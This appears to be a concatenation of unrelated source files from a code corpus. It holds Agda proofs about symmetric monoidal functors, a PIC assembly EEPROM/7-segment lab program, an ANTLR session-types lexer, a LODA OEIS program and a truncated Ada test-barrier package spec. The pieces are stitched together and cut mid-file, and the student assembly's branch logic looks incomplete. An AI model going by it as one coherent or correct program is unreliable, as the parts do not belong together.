≈⟨ refl⟩∘⟨ pullʳ (extendʳ (interchange.⇒.commute ((id , id) , (F.ε , G.ε)))) ⟩
F.₁ Cρ⇒ ⊗₁ G.₁ Cρ⇒ ∘ Fh ⊗₁ Gh ∘ (id ⊗₁ F.ε) ⊗₁ (id ⊗₁ G.ε) ∘ i⇒ ∘ id ⊗₁ λ⇐
≈˘⟨ refl⟩∘⟨ pushˡ ⊗.homomorphism ⟩
F.₁ Cρ⇒ ⊗₁ G.₁ Cρ⇒ ∘ (Fh ∘ id ⊗₁ F.ε) ⊗₁ (Gh ∘ id ⊗₁ G.ε) ∘ i⇒ ∘ id ⊗₁ λ⇐
≈˘⟨ pushˡ ⊗.homomorphism ⟩
(F.₁ Cρ⇒ ∘ Fh ∘ id ⊗₁ F.ε) ⊗₁ (G.₁ Cρ⇒ ∘ Gh ∘ id ⊗₁ G.ε) ∘ i⇒ ∘ id ⊗₁ λ⇐
≈⟨ F.unitaryʳ ⟩⊗⟨ G.unitaryʳ ⟩∘⟨refl ⟩
ρ⇒ ⊗₁ ρ⇒ ∘ i⇒ ∘ id ⊗₁ λ⇐
≈⟨ ⊗ˢ.unitaryʳ ⟩
ρ⇒
∎
braiding-compat = λ {X Y} → begin
F.₁ Cσ⇒ ⊗₁ G.₁ Cσ⇒ ∘ Fh {X} {Y} ⊗₁ Gh {X} {Y} ∘ i⇒
≈⟨ extendʳ (parallel F.braiding-compat G.braiding-compat) ⟩
(Fh ⊗₁ Gh) ∘ σ⇒ ⊗₁ σ⇒ ∘ i⇒
≈⟨ pushʳ ⊗ˢ.braiding-compat ⟩
(Fh ⊗₁ Gh ∘ i⇒) ∘ σ⇒
∎
_⊗̇₁_ : {F₁ F₂ G₁ G₂ : SymmetricMonoidalFunctor C D} →
F₁ ⇛ F₂ → G₁ ⇛ G₂ → F₁ ⊗̇₀ G₁ ⇛ F₂ ⊗̇₀ G₂
_⊗̇₁_ {F₁} {F₂} {G₁} {G₂} β γ = record
{ U = β.U Underlying.⊗̇₁ γ.U
; isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = ⊗-homo-compat
}
}
where
module F₁ = SymmetricMonoidalFunctor F₁
module F₂ = SymmetricMonoidalFunctor F₂
module G₁ = SymmetricMonoidalFunctor G₁
module G₂ = SymmetricMonoidalFunctor G₂
module β = SymmetricMonoidalNaturalTransformation β
module γ = SymmetricMonoidalNaturalTransformation γ
ε-compat = begin
β.η C.unit ⊗₁ γ.η C.unit ∘ F₁.ε ⊗₁ G₁.ε ∘ λ⇐
≈˘⟨ pushˡ ⊗.homomorphism ⟩
(β.η C.unit ∘ F₁.ε) ⊗₁ (γ.η C.unit ∘ G₁.ε) ∘ λ⇐
≈⟨ β.ε-compat ⟩⊗⟨ γ.ε-compat ⟩∘⟨refl ⟩
F₂.ε ⊗₁ G₂.ε ∘ λ⇐
∎
⊗-homo-compat = λ {X Y} → begin
β.η (X C.⊗₀ Y) ⊗₁ γ.η (X C.⊗₀ Y) ∘
F₁.⊗-homo.η (X , Y) ⊗₁ G₁.⊗-homo.η (X , Y) ∘ i⇒
≈˘⟨ pushˡ ⊗.homomorphism ⟩
(β.η (X C.⊗₀ Y) ∘ F₁.⊗-homo.η (X , Y)) ⊗₁
(γ.η (X C.⊗₀ Y) ∘ G₁.⊗-homo.η (X , Y)) ∘ i⇒
≈⟨ β.⊗-homo-compat ⟩⊗⟨ γ.⊗-homo-compat ⟩∘⟨refl ⟩
(F₂.⊗-homo.η (X , Y) ∘ β.η X ⊗₁ β.η Y) ⊗₁
(G₂.⊗-homo.η (X , Y) ∘ γ.η X ⊗₁ γ.η Y) ∘ i⇒
≈⟨ pushˡ ⊗.homomorphism ⟩
F₂.⊗-homo.η (X , Y) ⊗₁ G₂.⊗-homo.η (X , Y) ∘
(β.η X ⊗₁ β.η Y) ⊗₁ (γ.η X ⊗₁ γ.η Y) ∘ i⇒
≈˘⟨ pullʳ (interchange.⇒.commute ((β.η X , γ.η X) , (β.η Y , γ.η Y))) ⟩
(F₂.⊗-homo.η (X , Y) ⊗₁ G₂.⊗-homo.η (X , Y) ∘ i⇒) ∘
(β.η X ⊗₁ γ.η X) ⊗₁ (β.η Y ⊗₁ γ.η Y)
∎
-- The constant functor to the unit in D is (lax) monoidal.
unitF : SymmetricMonoidalFunctor C D
unitF = record
{ F = Underlying.unitF
; isBraidedMonoidal = record
{ isMonoidal = record
{ ε = id
; ⊗-homo = Underlying.unitF-⊗-homo.F⇒G
; associativity = begin
id ∘ λ⇒ ∘ λ⇒ ⊗₁ id ≈⟨ identityˡ ⟩
λ⇒ ∘ λ⇒ ⊗₁ id ≈˘⟨ refl⟩∘⟨ coherence₁ ⟩
λ⇒ ∘ λ⇒ ∘ α⇒ ≈˘⟨ extendʳ unitorˡ-commute-from ⟩
λ⇒ ∘ id ⊗₁ λ⇒ ∘ α⇒ ∎
; unitaryˡ = begin
id ∘ λ⇒ ∘ id ⊗₁ id ≈⟨ identityˡ ⟩
λ⇒ ∘ id ⊗₁ id ≈⟨ refl⟩∘⟨ ⊗.identity ⟩
λ⇒ ∘ id ≈⟨ identityʳ ⟩
λ⇒ ∎
; unitaryʳ = begin
id ∘ λ⇒ ∘ id ⊗₁ id ≈⟨ identityˡ ⟩
λ⇒ ∘ id ⊗₁ id ≈⟨ refl⟩∘⟨ ⊗.identity ⟩
λ⇒ ∘ id ≈⟨ identityʳ ⟩
λ⇒ ≈⟨ coherence₃ ⟩
ρ⇒ ∎
}
; braiding-compat = begin
id ∘ λ⇒ ≈⟨ identityˡ ⟩
λ⇒ ≈⟨ coherence₃ ⟩
ρ⇒ ≈˘⟨ braiding-coherence ⟩
λ⇒ ∘ braiding.⇒.η _ ∎
}
}
module unitF = SymmetricMonoidalFunctor unitF
-- The pointwise tensor product and the unit functor induce a
-- symmetric monoidal structure on symmetric monoidal functors.
⊗̇-unitorˡ : {F : SymmetricMonoidalFunctor C D} → unitF ⊗̇₀ F ≃ F
⊗̇-unitorˡ {F} = record
{ U = Underlying.⊗̇-unitorˡ
; F⇒G-isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = ⊗-homo-compat
}
}
where
open SymmetricMonoidalFunctor F
ε-compat = begin
λ⇒ ∘ id ⊗₁ ε ∘ λ⇐ ≈⟨ extendʳ unitorˡ-commute-from ⟩
ε ∘ λ⇒ ∘ λ⇐ ≈⟨ elimʳ λᵢ.isoʳ ⟩
ε ∎
⊗-homo-compat = λ {X Y} → let h = ⊗-homo.η (X , Y) in begin
λ⇒ ∘ λ⇒ ⊗₁ h ∘ i⇒
≈⟨ pullˡ (refl⟩∘⟨ serialize₂₁) ⟩
(λ⇒ ∘ id ⊗₁ h ∘ λ⇒ ⊗₁ id) ∘ i⇒
≈⟨ extendʳ unitorˡ-commute-from ⟩∘⟨ i-selfInverse ⟩
(h ∘ λ⇒ ∘ λ⇒ ⊗₁ id) ∘ i⇐
≈˘⟨ pushʳ (switch-fromtoʳ i (switch-tofromʳ (λᵢ ⊗ᵢ idᵢ)
(assoc ○ ⊗ˢ.unitaryˡ))) ⟩
h ∘ λ⇒ ⊗₁ λ⇒
∎
⊗̇-unitorʳ : {F : SymmetricMonoidalFunctor C D} → F ⊗̇₀ unitF ≃ F
⊗̇-unitorʳ {F} = record
{ U = Underlying.⊗̇-unitorʳ
; F⇒G-isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = ⊗-homo-compat
}
}
where
open SymmetricMonoidalFunctor F
ε-compat = begin
ρ⇒ ∘ ε ⊗₁ id ∘ λ⇐ ≈⟨ extendʳ unitorʳ-commute-from ⟩
ε ∘ ρ⇒ ∘ λ⇐ ≈˘⟨ refl⟩∘⟨ coherence₃ ⟩∘⟨refl ⟩
ε ∘ λ⇒ ∘ λ⇐ ≈⟨ elimʳ λᵢ.isoʳ ⟩
ε ∎
⊗-homo-compat = λ {X Y} → let h = ⊗-homo.η (X , Y) in begin
ρ⇒ ∘ h ⊗₁ λ⇒ ∘ i⇒
≈⟨ pullˡ (refl⟩∘⟨ serialize₁₂) ⟩
(ρ⇒ ∘ h ⊗₁ id ∘ id ⊗₁ λ⇒) ∘ i⇒
≈⟨ extendʳ unitorʳ-commute-from ⟩∘⟨ i-selfInverse ⟩
(h ∘ ρ⇒ ∘ id ⊗₁ λ⇒) ∘ i⇐
≈˘⟨ pushʳ (switch-fromtoʳ i (switch-tofromʳ (idᵢ ⊗ᵢ λᵢ)
(assoc ○ ⊗ˢ.unitaryʳ))) ⟩
h ∘ ρ⇒ ⊗₁ ρ⇒
∎
⊗̇-associator : {F G H : SymmetricMonoidalFunctor C D} →
(F ⊗̇₀ G) ⊗̇₀ H ≃ F ⊗̇₀ (G ⊗̇₀ H)
⊗̇-associator {F} {G} {H} = record
{ U = Underlying.⊗̇-associator
; F⇒G-isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = ⊗-homo-compat
}
}
where
module F = SymmetricMonoidalFunctor F
module G = SymmetricMonoidalFunctor G
module H = SymmetricMonoidalFunctor H
Fh = λ {X Y} → F.⊗-homo.η (X , Y)
Gh = λ {X Y} → G.⊗-homo.η (X , Y)
Hh = λ {X Y} → H.⊗-homo.η (X , Y)
ε-compat = begin
α⇒ ∘ (F.ε ⊗₁ G.ε ∘ λ⇐) ⊗₁ H.ε ∘ λ⇐
≈⟨ pullˡ (pushʳ split₁ʳ) ⟩
((α⇒ ∘ (F.ε ⊗₁ G.ε) ⊗₁ H.ε) ∘ λ⇐ ⊗₁ id) ∘ λ⇐
≈⟨ pushˡ assoc-commute-from ⟩∘⟨refl ⟩
(F.ε ⊗₁ (G.ε ⊗₁ H.ε) ∘ α⇒ ∘ λ⇐ ⊗₁ id) ∘ λ⇐
≈⟨ (refl⟩∘⟨ helper) ⟩∘⟨refl ⟩
(F.ε ⊗₁ (G.ε ⊗₁ H.ε) ∘ id ⊗₁ λ⇐) ∘ λ⇐
≈˘⟨ split₂ʳ ⟩∘⟨refl ⟩
F.ε ⊗₁ (G.ε ⊗₁ H.ε ∘ λ⇐) ∘ λ⇐
∎
where
helper = begin
α⇒ ∘ λ⇐ ⊗₁ id ≈⟨ refl⟩∘⟨ coherence-inv₃ ⟩⊗⟨refl ⟩
α⇒ ∘ ρ⇐ ⊗₁ id ≈˘⟨ conjugate-from (ρᵢ ⊗ᵢ idᵢ) (idᵢ ⊗ᵢ λᵢ)
(identityˡ ○ ⟺ triangle) ⟩
id ⊗₁ λ⇐ ∘ id ≈⟨ identityʳ ⟩
id ⊗₁ λ⇐ ∎
⊗-homo-compat = λ {X Y} → begin
α⇒ ∘ (Fh {X} {Y} ⊗₁ Gh {X} {Y} ∘ i⇒) ⊗₁ Hh {X} {Y} ∘ i⇒
≈⟨ refl⟩∘⟨ (refl⟩∘⟨ i-selfInverse) ⟩⊗⟨refl ⟩∘⟨ i-selfInverse ⟩
α⇒ ∘ (Fh ⊗₁ Gh ∘ i⇐) ⊗₁ Hh ∘ i⇐
≈⟨ refl⟩∘⟨ pushˡ split₁ʳ ⟩
α⇒ ∘ (Fh ⊗₁ Gh) ⊗₁ Hh ∘ i⇐ ⊗₁ id ∘ i⇐
≈⟨ extendʳ assoc-commute-from ⟩
Fh ⊗₁ (Gh ⊗₁ Hh) ∘ α⇒ ∘ i⇐ ⊗₁ id ∘ i⇐
≈˘⟨ refl⟩∘⟨ conjugate-from (i ∘ᵢ i ⊗ᵢ idᵢ) (i ∘ᵢ idᵢ ⊗ᵢ i)
(⊗ˢ.associativity ○ sym-assoc) ⟩
Fh ⊗₁ (Gh ⊗₁ Hh) ∘ (id ⊗₁ i⇐ ∘ i⇐) ∘ α⇒ ⊗₁ α⇒
≈˘⟨ pushˡ (pushˡ split₂ʳ) ⟩
(Fh ⊗₁ (Gh ⊗₁ Hh ∘ i⇐) ∘ i⇐) ∘ α⇒ ⊗₁ α⇒
≈˘⟨ (refl⟩⊗⟨ (refl⟩∘⟨ i-selfInverse) ⟩∘⟨
i-selfInverse) ⟩∘⟨refl ⟩
(Fh ⊗₁ (Gh ⊗₁ Hh ∘ i⇒) ∘ i⇒) ∘ α⇒ ⊗₁ α⇒
∎
⊗̇-braiding : {F G : SymmetricMonoidalFunctor C D } → F ⊗̇₀ G ≃ G ⊗̇₀ F
⊗̇-braiding {F} {G} = record
{ U = Underlying.⊗̇-braiding
; F⇒G-isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = ⊗-homo-compat
}
}
where
module F = SymmetricMonoidalFunctor F
module G = SymmetricMonoidalFunctor G
Fh = λ {X Y} → F.⊗-homo.η (X , Y)
Gh = λ {X Y} → G.⊗-homo.η (X , Y)
ε-compat = begin
σ⇒ ∘ F.ε ⊗₁ G.ε ∘ λ⇐ ≈⟨ extendʳ (braiding.⇒.commute (F.ε , G.ε)) ⟩
G.ε ⊗₁ F.ε ∘ σ⇒ ∘ λ⇐ ≈⟨ refl⟩∘⟨ refl⟩∘⟨ coherence-inv₃ ⟩
G.ε ⊗₁ F.ε ∘ σ⇒ ∘ ρ⇐ ≈˘⟨ refl⟩∘⟨ conjugate-from ρᵢ λᵢ
(identityˡ ○ ⟺ braiding-coherence) ⟩
G.ε ⊗₁ F.ε ∘ λ⇐ ∘ id ≈⟨ refl⟩∘⟨ identityʳ ⟩
G.ε ⊗₁ F.ε ∘ λ⇐ ∎
⊗-homo-compat : ∀ {X Y} →
σ⇒ ∘ Fh {X} {Y} ⊗₁ Gh {X} {Y} ∘ i⇒
≈ (Gh ⊗₁ Fh ∘ i⇒) ∘ σ⇒ ⊗₁ σ⇒
⊗-homo-compat {X} {Y} = begin
σ⇒ ∘ Fh ⊗₁ Gh ∘ i⇒ ≈⟨ extendʳ (braiding.⇒.commute (Fh , Gh)) ⟩
Gh ⊗₁ Fh ∘ σ⇒ ∘ i⇒ ≈⟨ pushʳ (conjugate-to i-iso′ i-iso′
(⟺ ⊗ˢ.braiding-compat)) ⟩
(Gh ⊗₁ Fh ∘ i⇒) ∘ σ⇒ ⊗₁ σ⇒ ∎
module ⊗̇-unitorˡ {F} = SymmetricMonoidalNaturalIsomorphism (⊗̇-unitorˡ {F})
module ⊗̇-unitorʳ {F} = SymmetricMonoidalNaturalIsomorphism (⊗̇-unitorʳ {F})
module ⊗̇-associator {F} {G} {H} =
SymmetricMonoidalNaturalIsomorphism (⊗̇-associator {F} {G} {H})
module ⊗̇-braiding {F} {G} =
SymmetricMonoidalNaturalIsomorphism (⊗̇-braiding {F} {G})
module Strong where
open SF.Strong
open SMNT.Strong using (SymmetricMonoidalNaturalTransformation)
open SMNI.Strong using (SymmetricMonoidalNaturalIsomorphism; _≃_)
open SymmetricMonoidalFunctor using ()
renaming (laxSymmetricMonoidalFunctor to laxSMF)
private
infix 4 _⇛_
_⇛_ = SymmetricMonoidalNaturalTransformation
infixr 10 _⊗̇₀_ _⊗̇₁_
-- The pointwise tensor product of strong symmetric monoidal functors.
_⊗̇₀_ : (F G : SymmetricMonoidalFunctor C D) → SymmetricMonoidalFunctor C D
F ⊗̇₀ G = record
{ F = F.F Underlying.⊗̇₀ G.F
; isBraidedMonoidal = record
{ isStrongMonoidal = record
{ ε = F.ε ⊗ᵢ G.ε ∘ᵢ ⊗ˢ.ε
; ⊗-homo = niHelper (record
{ η = ⊗-homoᵢ.from
; η⁻¹ = ⊗-homoᵢ.to
; commute = ⊗-homo.commute
; iso = ⊗-homoᵢ.iso
})
; associativity = associativity
; unitaryˡ = unitaryˡ
; unitaryʳ = unitaryʳ
}
; braiding-compat = braiding-compat
}
}
where
module F = SymmetricMonoidalFunctor F
module G = SymmetricMonoidalFunctor G
⊗-homoᵢ = λ XY → F.⊗-homo.FX≅GX {XY} ⊗ᵢ G.⊗-homo.FX≅GX {XY} ∘ᵢ i
module ⊗-homoᵢ XY = _≅_ (⊗-homoᵢ XY)
open SF.Lax.SymmetricMonoidalFunctor (laxSMF F Lax.⊗̇₀ laxSMF G)
_⊗̇₁_ : {F₁ F₂ G₁ G₂ : SymmetricMonoidalFunctor C D} →
F₁ ⇛ F₂ → G₁ ⇛ G₂ → F₁ ⊗̇₀ G₁ ⇛ F₂ ⊗̇₀ G₂
_⊗̇₁_ β γ = record
{ U = β.U Underlying.⊗̇₁ γ.U
; isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = λ {X Y} → ⊗-homo-compat
}
}
where
module β = SymmetricMonoidalNaturalTransformation β
module γ = SymmetricMonoidalNaturalTransformation γ
open SMNT.Lax.SymmetricMonoidalNaturalTransformation (β.laxSNT Lax.⊗̇₁ γ.laxSNT)
-- The constant functor to the unit in D is (strong) monoidal.
unitF : SymmetricMonoidalFunctor C D
unitF = record
{ F = Underlying.unitF
; isBraidedMonoidal = record
{ isStrongMonoidal = record
{ ε = idᵢ
; ⊗-homo = Underlying.unitF-⊗-homo
; associativity = λ {X Y Z} → Lax.unitF.associativity {X = X} {Y} {Z}
; unitaryˡ = λ {X} → Lax.unitF.unitaryˡ {X = X}
; unitaryʳ = λ {X} → Lax.unitF.unitaryʳ {X = X}
}
; braiding-compat = λ {X Y} → Lax.unitF.braiding-compat {X = X} {Y}
}
}
module unitF = SymmetricMonoidalFunctor unitF
-- The pointwise tensor product and the unit functor induce a
-- symmetric monoidal structure on symmetric monoidal functors.
⊗̇-unitorˡ : {F : SymmetricMonoidalFunctor C D} → unitF ⊗̇₀ F ≃ F
⊗̇-unitorˡ {F} = record
{ U = U
; F⇒G-isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = λ {X Y} → ⊗-homo-compat {X = X} {Y}
}
}
where open SMNI.Lax.SymmetricMonoidalNaturalIsomorphism (Lax.⊗̇-unitorˡ {F = laxSMF F})
⊗̇-unitorʳ : {F : SymmetricMonoidalFunctor C D} → F ⊗̇₀ unitF ≃ F
⊗̇-unitorʳ {F} = record
{ U = U
; F⇒G-isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = λ {X Y} → ⊗-homo-compat {X = X} {Y}
}
}
where open SMNI.Lax.SymmetricMonoidalNaturalIsomorphism (Lax.⊗̇-unitorʳ {F = laxSMF F})
⊗̇-associator : {F G H : SymmetricMonoidalFunctor C D} →
(F ⊗̇₀ G) ⊗̇₀ H ≃ F ⊗̇₀ (G ⊗̇₀ H)
⊗̇-associator {F} {G} {H} = record
{ U = U
; F⇒G-isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = λ {X Y} → ⊗-homo-compat {X = X} {Y}
}
}
where open SMNI.Lax.SymmetricMonoidalNaturalIsomorphism (Lax.⊗̇-associator {F = laxSMF F} {laxSMF G} {laxSMF H})
⊗̇-braiding : {F G : SymmetricMonoidalFunctor C D } → F ⊗̇₀ G ≃ G ⊗̇₀ F
⊗̇-braiding {F} {G} = record
{ U = U
; F⇒G-isMonoidal = record
{ ε-compat = ε-compat
; ⊗-homo-compat = λ {X Y} → ⊗-homo-compat {X = X} {Y}
}
}
where open SMNI.Lax.SymmetricMonoidalNaturalIsomorphism (Lax.⊗̇-braiding {F = laxSMF F} {laxSMF G})
module ⊗̇-unitorˡ {F} = SymmetricMonoidalNaturalIsomorphism (⊗̇-unitorˡ {F})
module ⊗̇-unitorʳ {F} = SymmetricMonoidalNaturalIsomorphism (⊗̇-unitorʳ {F})
module ⊗̇-associator {F} {G} {H} =
SymmetricMonoidalNaturalIsomorphism (⊗̇-associator {F} {G} {H})
module ⊗̇-braiding {F} {G} =
SymmetricMonoidalNaturalIsomorphism (⊗̇-braiding {F} {G})
|
Microcontroller_Lab/Lab_6/Lab_6/Read_Code_With_Comments.asm | MuhammadAlBarham/pic16f778_projects | 0 | 244847 | Include "p16F84A.inc"
; ----------------------------------------------------------
; General Purpose RAM Assignments
; ----------------------------------------------------------
cblock 0x0C
Counter
Endc
; ----------------------------------------------------------
; Macro Definitions
; ----------------------------------------------------------
Read_EEPROM macro
Bcf STATUS, RP0 ;Go to Bank 0
Clrf EEADR ;Clear EEADR (EEADR=0)
Bsf STATUS, RP0 ;Go to Bank 1
Bsf EECON1, RD ;Begin Read
Bcf STATUS, RP0 ;Go to Bank 0
Endm
; ----------------------------------------------------------
; Vector definition
; ----------------------------------------------------------
org 0x000
nop
goto Main
INT_Routine org 0x004
goto INT_Routine
; ----------------------------------------------------------
; The main Program
; ----------------------------------------------------------
Main
Read_EEPROM
Clrf Counter ;Clear the counter
Bsf STATUS, RP0 ;Go to Bank 1
Clrf TRISB ;Make PORTB as OUTPUT
Bcf STATUS, RP0 ;Go to BANK 0
Movlw A'H' ;Move Character to W-Reg
Subwf EEDATA,w ;Check If the first char. is H
Btfsc STATUS,Z ;If Yes goto finish
Goto Finish
Incf Counter,f
Movlw A'M'
Subwf EEDATA,w
Btfsc STATUS,Z
Finish
Incf Counter,f
Call Look_Up
Movwf PORTB
Loop
Goto Loop
; ----------------------------------------------------------
; Sub Routine Definitions
; ----------------------------------------------------------
;This Look_Up table for 7-Seg. Display
Look_Up
Movf Counter,w
Addwf PCL,f
Retlw B'00111111' ; Number 0
Retlw B'00000110' ; Number 1
Retlw B'01011011' ; Number 2
Retlw B'01001111' ; Number 3
Retlw B'01100110' ; Number 4
Retlw B'01101101' ; Number 5
end
|
LogProcessor/SessionTypes.Grammar/SessionTypesLexer.g4 | Vulthil/Logprocessor | 0 | 4450 | <filename>LogProcessor/SessionTypes.Grammar/SessionTypesLexer.g4
lexer grammar SessionTypesLexer;
WHITESPACES: (Whitespace | NewLine)+ -> channel(HIDDEN);
//REC: 'rec';
END: 'end';
KEYWORD: Keyword;
IDENTIFIER: Identifier;
OPEN_BRACKET: '[';
CLOSE_BRACKET: ']';
OPEN_PARENS: '(';
CLOSE_PARENS: ')';
OPEN_BRACE: '{';
CLOSE_BRACE: '}';
DOT: '.';
COMMA: ',';
COLON: ':';
SEMICOLON: ';';
AMP: '&';
BANG: '!';
INTERR: '?';
XOR: XorSigns;
TO: '->';
MU: RecSigns;
fragment XorSigns
: '@'
| '\u2295'
| '\u2A01'
| '(+)'
;
fragment RecSigns
: '\u03BC'
| '\u00B5'
;
fragment NewLine
: '\r\n' | '\r' | '\n'
| '\u0085' // <Next Line CHARACTER (U+0085)>'
| '\u2028' //'<Line Separator CHARACTER (U+2028)>'
| '\u2029' //'<Paragraph Separator CHARACTER (U+2029)>'
;
fragment Whitespace
: UnicodeClassZS //'<Any Character With Unicode Class Zs>'
| '\u0009' //'<Horizontal Tab Character (U+0009)>'
| '\u000B' //'<Vertical Tab Character (U+000B)>'
| '\u000C' //'<Form Feed Character (U+000C)>'
;
fragment UnicodeClassZS
: '\u0020' // SPACE
| '\u00A0' // NO_BREAK SPACE
| '\u1680' // OGHAM SPACE MARK
| '\u180E' // MONGOLIAN VOWEL SEPARATOR
| '\u2000' // EN QUAD
| '\u2001' // EM QUAD
| '\u2002' // EN SPACE
| '\u2003' // EM SPACE
| '\u2004' // THREE_PER_EM SPACE
| '\u2005' // FOUR_PER_EM SPACE
| '\u2006' // SIX_PER_EM SPACE
| '\u2008' // PUNCTUATION SPACE
| '\u2009' // THIN SPACE
| '\u200A' // HAIR SPACE
| '\u202F' // NARROW NO_BREAK SPACE
| '\u3000' // IDEOGRAPHIC SPACE
| '\u205F' // MEDIUM MATHEMATICAL SPACE
;
fragment Keyword
: END
//| REC
;
fragment Identifier
: IdentifierStartCharacter IdentifierPartCharacter*
;
fragment IdentifierStartCharacter
: LetterCharacter
;
fragment IdentifierPartCharacter
: LetterCharacter
| DecimalDigitCharacter
;
fragment LetterCharacter
: [A-Za-z]
;
fragment DecimalDigitCharacter
: [0-9]
; |
oeis/105/A105133.asm | neoneye/loda-programs | 11 | 244990 | <gh_stars>10-100
; A105133: Numbers n such that 8n + 5 is prime.
; Submitted by <NAME>
; 0,1,3,4,6,7,12,13,18,19,21,22,24,28,33,34,36,39,43,46,48,49,52,57,63,67,69,76,81,82,84,87,88,91,94,96,99,102,103,106,109,117,124,126,127,132,133,136,138,139,147,151,153,154,159,162,171,172,178,181,186,193,199,201,202,204,208,211,213,216,217,223,232,234,237,241,243,246,249,253,256,258,267,276,277,279,283,286,288,291,292,294,297,298,304,309,318,319,327,334
mov $1,4
mov $2,$0
pow $2,2
lpb $2
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,8
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
lpe
mov $0,$1
div $0,8
|
src/_test/fixtures/apsepp_test_node_barrier.ads | thierr26/ada-apsepp | 0 | 24699 | -- Copyright (C) 2019 <NAME> <<EMAIL>>
-- MIT license. Please refer to the LICENSE file.
with Ada.Characters.Handling; use Ada.Characters.Handling;
with Ada.Tags; use Ada.Tags;
with Ada.Calendar; use Ada.Calendar;
with Ada.Exceptions; use Ada.Exceptions;
with Apsepp.Tags; use Apsepp.Tags;
with Apsepp.Characters; use Apsepp.Characters;
with Apsepp.Test_Reporter_Class.Stub; use Apsepp.Test_Reporter_Class.Stub;
with Apsepp.Scope_Debug; use Apsepp.Scope_Debug;
with Apsepp.Test_Event_Class; use Apsepp.Test_Event_Class;
with Apsepp.Generic_Prot_Integer,
Apsepp.Test_Node_Class;
use Apsepp;
package Apsepp_Test_Node_Barrier is
----------------------------------------------------------------------------
type Test_Event_Kind is (Failed_Child_Test_Node_Access,
Unexpected_Node_Cond_Check_Error,
Unexpected_Node_Run_Error,
Node_Cond_Check_Start,
Passed_Node_Cond_Check,
Failed_Node_Cond_Check,
Passed_Node_Cond_Assert,
Failed_Node_Cond_Assert,
Node_Run_Start,
Test_Routine_Start,
Test_Routines_Cancellation,
Failed_Test_Routine_Access,
Failed_Test_Routine_Setup,
Passed_Test_Assert,
Failed_Test_Assert,
Unexpected_Routine_Exception,
Passed_Test_Routine,
Failed_Test_Routine,
Passed_Node_Run,
Failed_Node_Run);
type Char_Name_Image_Func is access function (Char : ISO_646) return String;
type Tag_To_Char_Func is access function (T : Tag) return ISO_646;
type Char_To_Tag_Func
is access function (Char : ISO_646_Upper_Letter) return Tag;
type Validate_Proc is access procedure (Crossing_Count : Positive;
Event_Kind : Test_Event_Kind;
Event_Data : Test_Event_Data;
Char : ISO_646;
Char_To_Tag : Char_To_Tag_Func;
Msg_Pref : String);
type Test_Node_Barrier_Permanent_Opening_Cause is (None,
Saturation,
Overflow,
Time_Out);
package Prot_Natural is new Apsepp.Generic_Prot_Integer (Natural);
protected type Test_Node_Barrier is
procedure Setup (Ch_I : not null Char_Name_Image_Func;
T_T_C : not null Tag_To_Char_Func;
C_T_C : not null Char_To_Tag_Func;
V : not null Validate_Proc;
Exp : not null Tag_Array_Access);
entry Cross(ISO_646) (Event_Kind : Test_Event_Kind;
Event_Data : Test_Event_Data);
procedure Time_Out;
function Cross_Count return Natural;
function Timed_Out return Boolean;
-- TODOC: Meaningless if not Timed_Out. <2019-06-13>
function Cross_Count_On_Time_Out return Natural;
function Saturated return Boolean;
function Overflowed return Boolean;
-- TODOC: Meaningless if not Overflowed. <2019-08-16>
function Cross_Count_On_Overflow return Natural;
function Completed return Boolean;
function Failed_Validation return Boolean;
private
Expected_Tag : Tag_Array_Access;
Crossing_Count : Prot_Natural.O_P_I_Type;
-- TODOC: Meaningless if Permanent_Opening_Cause /= Time_Out.
-- <2019-08-08>
Crossing_Count_On_Time_Out : Natural;
-- TODOC: Meaningless if Permanent_Opening_Cause /= Overflow.
-- <2019-08-16>
Crossing_Count_On_Overflow : Natural;
Permanent_Opening_Cause : Test_Node_Barrier_Permanent_Opening_Cause;
Failed_Validation_Flag : Boolean;
Char_Name_Image : Char_Name_Image_Func;
Tag_To_Char : Tag_To_Char_Func;
Char_To_Tag : Char_To_Tag_Func;
Validate : Validate_Proc;
end Test_Node_Barrier;
type Test_Node_Barrier_Access is access all Test_Node_Barrier;
----------------------------------------------------------------------------
task type Test_Node_Barrier_Monitor is
entry Setup (Barrier : not null Test_Node_Barrier_Access;
Monitoring_Period : Day_Duration := 0.7); -- 0.7 seconds.
end Test_Node_Barrier_Monitor;
----------------------------------------------------------------------------
type Test_Reporter_W_Barrier is limited new Test_Reporter_Stub with private;
not overriding
procedure Setup (Obj : in out Test_Reporter_W_Barrier;
B : not null Test_Node_Barrier_Access;
Ch_I : not null Char_Name_Image_Func;
T_T_C : not null Tag_To_Char_Func);
overriding
procedure Report_Failed_Child_Test_Node_Access
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
Previous_Child_Tag : Tag;
E : Exception_Occurrence);
overriding
procedure Report_Unexpected_Node_Cond_Check_Error
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
E : Exception_Occurrence);
overriding
procedure Report_Unexpected_Node_Run_Error
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
E : Exception_Occurrence);
overriding
procedure Report_Node_Cond_Check_Start
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag);
overriding
procedure Report_Passed_Node_Cond_Check
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag);
overriding
procedure Report_Failed_Node_Cond_Check
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag);
overriding
procedure Report_Passed_Node_Cond_Assert
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag);
overriding
procedure Report_Failed_Node_Cond_Assert
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag);
overriding
procedure Report_Node_Run_Start (Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag);
overriding
procedure Report_Test_Routine_Start
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
K : Test_Node_Class.Test_Routine_Count);
overriding
procedure Report_Test_Routines_Cancellation
(Obj : in out Test_Reporter_W_Barrier;
Node_Tag : Tag;
